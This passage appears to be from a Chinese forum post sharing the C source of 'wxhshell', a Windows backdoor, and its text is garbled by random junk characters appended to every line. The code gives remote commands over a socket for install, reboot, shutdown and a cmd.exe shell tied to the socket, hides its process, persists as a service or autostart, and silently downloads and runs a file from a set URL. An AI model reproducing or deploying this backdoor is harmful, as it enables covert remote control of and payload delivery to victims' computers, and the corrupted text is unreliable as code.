  } 0,~||H{  
  else { ,Ei!\U^)  
D+#OB|&Dn  
    switch(cmd[0]) { Cm@rX A/  
  }?G([s56  
  // 帮助 nVB.sab  
  case '?': { :j^IXZW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "o_s=^U  
    break; y_mTO4\C2  
  } ]bxBo  
  // 安装 ncTPFv H5  
  case 'i': { 3 PkVMX  
    if(Install()) Znr6,[U+q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wnUuoX(  
    else ,5V w^@F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WbJ|]}hJ\  
    break; pPL)!=o!  
    } HQ /D)D  
  // 卸载 4g4[n7  
  case 'r': { _D+pJ{@W  
    if(Uninstall()) >AK9F. _z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )j,Y(V$P  
    else de=){.7Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f/xQy}4+~E  
    break; ~:FF"T>  
    } xVxN @[  
  // 显示 wxhshell 所在路径 #q LsAw--Q  
  case 'p': { ly[j=vBV  
    char svExeFile[MAX_PATH]; ^_\S)P2c  
    strcpy(svExeFile,"\n\r"); \-Vja{J]  
      strcat(svExeFile,ExeFile); %_Q+@9  
        send(wsh,svExeFile,strlen(svExeFile),0); Ec/&?|$  
    break; .*}!XKp0j  
    } ^?M# |>  
  // 重启 )[b\wrc   
  case 'b': { M$u.lI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ='A VI-go5  
    if(Boot(REBOOT)) <+y%k~("  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); izDfpr}s4  
    else { m^!Kthq  
    closesocket(wsh); 0<i8 ;2KD  
    ExitThread(0); i?wEd!=w  
    } >}T}^F  
    break; '\B0#z3  
    } r 4 $<,~  
  // 关机 E] 6]c!2:  
  case 'd': { niA>afo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1.0:  
    if(Boot(SHUTDOWN)) bG)EZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$QC:%[#  
    else { s(Y2]X4 (  
    closesocket(wsh); `cQAO1-5  
    ExitThread(0); 'VpzB s#  
    } ]l7rM"  
    break; Nl]_Ie6  
    } %1mIngW=g  
  // 获取shell (H^)wDb  
  case 's': { ayYl3  
    CmdShell(wsh); aT4I sPA?_  
    closesocket(wsh); uG7?:) pxv  
    ExitThread(0); < ]"Uy p  
    break; p[Zk;AT~  
  } 3AcS$.G  
  // 退出 ;nq"jm  
  case 'x': { bvW3[ V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,(i`gH{D  
    CloseIt(wsh); T)MX]T  
    break; {S@gjMuN  
    } s"UUo|hM  
  // 离开 ++sbSl)Q  
  case 'q': { j/t)=c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lY&Sx{-  
    closesocket(wsh); 1%$t;R  
    WSACleanup(); 4wKQs&:  
    exit(1); enGZb&  
    break; IG.!M@_  
        } kyi"U A82  
  } +iqzj-e&e[  
  } +H:}1sT;n  
DHg)]FQ/  
  // 提示信息 Or#KF6+ut  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }<qZXb1  
} wP7 E8'  
  } wpWZn[j  
@;G%7&ps  
  return; - lqD  
} oI5^.Dr FW  
`>4"i+NFF8  
// shell模块句柄 $."D OZQ3U  
int CmdShell(SOCKET sock) -FF#+Z$  
{ n8E3w:A-  
STARTUPINFO si; +B[XTn,Cru  
ZeroMemory(&si,sizeof(si)); Q#F9&{'l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Aj8zFt ]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }hE!0q~MfM  
PROCESS_INFORMATION ProcessInfo; /PVx  
char cmdline[]="cmd"; 0GW69 z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5yyc 0UG  
  return 0; F}.R -j#  
} ;}lsD1S:  
d\R "?Sg  
// 自身启动模式 #_Zkke~{  
int StartFromService(void) QFK'r\3 pU  
{ wV\7  
typedef struct Mtl`A'KQ/K  
{ AC\y|X8-  
  DWORD ExitStatus; o5['5?i}/  
  DWORD PebBaseAddress; HZ2f|Y|T  
  DWORD AffinityMask; :%gM Xsb  
  DWORD BasePriority; $ y(Qdb  
  ULONG UniqueProcessId; _ FNW[V  
  ULONG InheritedFromUniqueProcessId; OHwH(}H?  
}   PROCESS_BASIC_INFORMATION; D9  Mst6  
~W-l|-eogz  
PROCNTQSIP NtQueryInformationProcess; # 0d7  
f 8\DAN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SKF0p))BJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L#?mPF  
s",G w]8  
  HANDLE             hProcess; @Gw.U>"!C  
  PROCESS_BASIC_INFORMATION pbi; ]XcWGQv~  
w`EC6ZN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GTi=VSGqF  
  if(NULL == hInst ) return 0; n {\d  
0nvT}[\H*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i%GiWanG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z`f?7/"B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /U,(u9bq  
u aYI3w@^  
  if (!NtQueryInformationProcess) return 0; 1Vkb}A,'  
[wk1p-hf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x:i,l:x  
  if(!hProcess) return 0; V["'eJA,,  
qu.AJ*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M+M  ;@3  
XI:+EeM?  
  CloseHandle(hProcess); JC`;hY  
2I3H?Lrx!m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f*:N*cC  
if(hProcess==NULL) return 0; wy^mh.= UX  
/l$fQ:l  
HMODULE hMod; mG1!~}[  
char procName[255]; GPizR|}h  
unsigned long cbNeeded; ~$ Po3]{s  
E^Ch;)j|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mN l[D  
PZvc4  
  CloseHandle(hProcess); AHMvh 7O?  
S?zP; iFj  
if(strstr(procName,"services")) return 1; // 以服务启动 [0 rH/{  
nltOX@P-  
  return 0; // 注册表启动 U\W$^r,  
} 1cx%+-  
TD-B\ @_  
// 主模块 P)LQ=b}V#;  
int StartWxhshell(LPSTR lpCmdLine) wz@[rMf  
{ ,gW$m~\  
  SOCKET wsl; A k~|r#@  
BOOL val=TRUE; txm6[Io  
  int port=0; 'f0R/6h\3s  
  struct sockaddr_in door; gV$0J?Pr.  
I FvigDj?  
  if(wscfg.ws_autoins) Install(); T*S) U ;  
.76Z  
port=atoi(lpCmdLine); lfG',hlI;  
O$x +>^  
if(port<=0) port=wscfg.ws_port; xnJ#}-.7  
z:N?T0b(  
  WSADATA data; aO}p"-'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mI\[L2x  
>l=jJTJ;q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rLY I\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I. Xbowl  
  door.sin_family = AF_INET; Hq~SRc~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?r*}1WsH  
  door.sin_port = htons(port); ' R2*3<  
=(~*8hJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a^^OI|?  
closesocket(wsl); {u0sbb(  
return 1; @\:@_}Z`_}  
} :^qUr`)  
tR 4+]K  
  if(listen(wsl,2) == INVALID_SOCKET) { >p#_ L^oZ%  
closesocket(wsl); OlptO60{ ]  
return 1; D+N@l"U{  
} nv(6NV  
  Wxhshell(wsl); fGW~xul_  
  WSACleanup(); Ic^ (6  
~OLyG$JJ  
return 0; ,,1y0s0`  
(w+SmD  
} P(o>UDy  
T!pA$eE  
// 以NT服务方式启动 :o87<) _F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z#l6BXK  
{ .Iz JJp  
DWORD   status = 0; (LMT'   
  DWORD   specificError = 0xfffffff; 6JeAXj1g+  
qVO,sKQ{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ef@)y&hn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iA`.y9'2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; arS@l<79  
  serviceStatus.dwWin32ExitCode     = 0; X)= m4\R  
  serviceStatus.dwServiceSpecificExitCode = 0; pc QkJ F  
  serviceStatus.dwCheckPoint       = 0; jwuSne  
  serviceStatus.dwWaitHint       = 0; {9) HB:  
{%RwZ'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ooCfr?E  
  if (hServiceStatusHandle==0) return; ~ 588md :  
+.rE|)BPy  
status = GetLastError(); qv >l  
  if (status!=NO_ERROR) Y4lNxvY  
{ |VjD. ]I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5/T#>l<  
    serviceStatus.dwCheckPoint       = 0; h Z/p'  
    serviceStatus.dwWaitHint       = 0; 7AqbfLO  
    serviceStatus.dwWin32ExitCode     = status; z5D*UOy5M  
    serviceStatus.dwServiceSpecificExitCode = specificError; $"}[\>e*{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ /Eg_dQ~@  
    return; 32y 9rz  
  } W^c /l*>v  
*.VNyay  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2S4SG\  
  serviceStatus.dwCheckPoint       = 0; `Tk~?aY  
  serviceStatus.dwWaitHint       = 0; -i_XP]b&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jLY$P<u?%P  
} f)V6VNW.3  
d+5v[x~'  
// 处理NT服务事件,比如:启动、停止 $" =3e]<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;!7M<T$&  
{ b2j ~"9  
switch(fdwControl) (^_I Ny*  
{ [r9HYju =  
case SERVICE_CONTROL_STOP: : w>R|]  
  serviceStatus.dwWin32ExitCode = 0; R((KAl]dL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i=hA. y`  
  serviceStatus.dwCheckPoint   = 0; g706*o)h  
  serviceStatus.dwWaitHint     = 0; g5x>}@ONq7  
  { <(xro/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'F:Tv[qx  
  } gNkBHwv  
  return; w4&\-S#  
case SERVICE_CONTROL_PAUSE: b `}hw"f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z Y5Pf 1  
  break; !t{  
case SERVICE_CONTROL_CONTINUE: ~zvZK]JoX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YUyYVi7clq  
  break; A6E~GJa  
case SERVICE_CONTROL_INTERROGATE: -D1 A  
  break; JL<<EPC  
}; }I#_H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v-"nyy-&Z  
} !kH 1|  
0,8RA_Ca}  
// 标准应用程序主函数 C~nL3w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3{Zd<JYg4-  
{ ZsYY)<n  
l&m Y}k  
// 获取操作系统版本 v0bP|h[t  
OsIsNt=GetOsVer(); HV]u9nrt#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u?>8`]r  
64<*\z_  
  // 从命令行安装 q$`>[&I~)  
  if(strpbrk(lpCmdLine,"iI")) Install();  9/I xh?  
Sw?EF8}[  
  // 下载执行文件 axK/YE7t  
if(wscfg.ws_downexe) { 6JR FYgI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ivt ~ S  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZXIz.GFy+  
} ",Fvv  
Sogt?]HB$  
if(!OsIsNt) { vTWm_ed+^  
// 如果时win9x,隐藏进程并且设置为注册表启动 8.7lc2aX  
HideProc(); \>{;,f  
StartWxhshell(lpCmdLine); +=nWB=iCb  
} 6['o^>\}f  
else S/l6c P  
  if(StartFromService()) #>sI XY  
  // 以服务方式启动 g; 7u-nP  
  StartServiceCtrlDispatcher(DispatchTable); tDMNpl  
else )M"xCO3a  
  // 普通方式启动 >LPIvmT4D?  
  StartWxhshell(lpCmdLine); K*p3#iB  
3BF3$_u)o  
return 0; C AN1~  
}
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只看该作者 1 发表于: 2006-10-10
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